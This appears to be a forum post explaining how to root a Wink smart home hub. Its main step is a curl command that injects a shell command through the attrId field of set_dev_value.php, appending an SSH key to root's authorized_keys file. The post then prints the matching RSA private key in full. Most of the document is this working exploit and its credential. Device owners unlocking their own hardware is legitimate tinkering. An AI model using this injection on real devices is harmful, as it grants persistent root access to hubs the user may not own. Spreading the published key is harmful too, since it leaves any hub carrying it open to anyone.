
Using your phone or device, open up the wink app and add the hub. This process will add the hub to your network.
Note: Do not "update" if it asks, we will do this manually later.
Replace the IP address of 192.168.0.1 below with the address your wink received. You can find this in your router's DHCP information.
Note #1: If you do not want it to have internet connectivity before having root, you can connect to the hub directly by setting your wireless device to 192.168.0.2 and connecting directly to the hub's access point
Note #2: I suggest using this specific RSA Key Pair because it does not have any + symbols. + symbols do not translate correctly in the curl command and breaks the process. You can remove the key and add your own after you have SSH and can enter it directly.
Code: Select all
curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2nCGCGeaPSWseFqi/ctWeamK56qlBmIcr0L9K0ZaAq43BHfITtLL7mteZMJYSn8PX3JMKNFJiCvvSW8gla2s4aBqb9F1EjazDKJnWKyzzdgEeUqr0T7t2pltvxxoZ/z/wEVMB5AKD9TjjTXRSoEBF7AJ/OfhjKHQiO5TLWPlUtk= rsa_1024_no-plus >> /root/.ssh/authorized_keys;"
Now use an SSH client such as putty to ssh to your wink hub. You will need the following private key in putty.
Code: Select all
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDacIYIZ5o9Jax4WqL9y1Z5qYrnqqUGYhyvQv0rRloCrjcEd8hO
0svua15kwlhKfw9fckwo0UmIK+9JbyCVrazhoGpv0XUSNrMMomdYrLPN2AR5SqvR
Pu3amW2/HGhn/P/ARUwHkAoP1OONNdFKgQEXsAn85+GModCI7lMtY+VS2QIBIwKB
gQDN9RCo1rX/I4VbiKhOYKH9rnunOn5WecNGKTfYWEY9Cqjm9JhKUbj2vQE6bhi7
RJl3P+FoUEyk9jlifrhSnG/LrGR/2FfYT1bP5NLihDdak3yN3f2FLa6BrcL4N0Xt
iIgj4AnZIkh3YD4Qq03T45d6SFmvKsajG/fGkuUonA0/xwJBAP087QO2GOez4Fml
OgcAlgWgFY80Mog9hScfe0NMQ3jW1V3pWWwWDEiJsJKDniqeHjcnugC0CB2Dt5XI
7/17PqcCQQDc0m+S9TLrVYYYAXv6cMB7yQOR9l8KHgn4Et9/dOLEztReng2qQk6i
ZZxpvRFswlD9mmoW5npuZQ5AnvNMipJ/AkBeD1C4PFJksIaHsmYCmdFSi+rAKVSZ
AOhQXCZ4FQMeQSqt2lRp+Y+IqCukIkIP1FRdoQqSjAMDpfO7SqJINRdFAkB33/Nt
CMPe1qfhJWCPRIW/imEGGAe1CP4Y9E1xE5ELwLxt4MWW8MuZ/KVd+OwzufFzujmX
ZyyFEkmQy1DgaHtpAkEAo4L96oY3zlDpS3z7YepzEHX/X0ibGNBO1Q7wTxp1uRno
SCYumdpu3fNY8v06vRIBbW8rKDvk8JFVEppVk8ijKQ==
-----END RSA PRIVATE KEY-----
You should now have root on your wink
